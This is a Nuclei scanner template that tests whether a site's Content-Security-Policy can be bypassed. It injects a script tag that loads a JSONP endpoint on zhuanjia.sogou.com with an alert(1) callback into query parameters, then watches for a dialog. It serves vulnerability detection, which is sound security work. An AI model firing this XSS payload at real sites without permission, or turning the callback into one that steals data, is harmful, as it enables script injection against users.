id: zhuanjia-sogou-csp-bypass

info:
  name: Content-Security-Policy Bypass - Zhuanjia Sogou
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,zhuanjia-sogou

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "sogou.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: zhuanjia_sogou_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://zhuanjia.sogou.com/base/ajax/login/login-init?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "zhuanjia_sogou_csp_xss == true"
# digest: 4b0a004830460221009394d7b7aef5a71ea7f37761c59fbb56a6b500d7d9827680ed2954f39d083ef7022100b6697832536b0a6e48fd930798542711b23a20f32d72855dc98b7a3099944efb:922c64590222798bb761d5b6d8e72950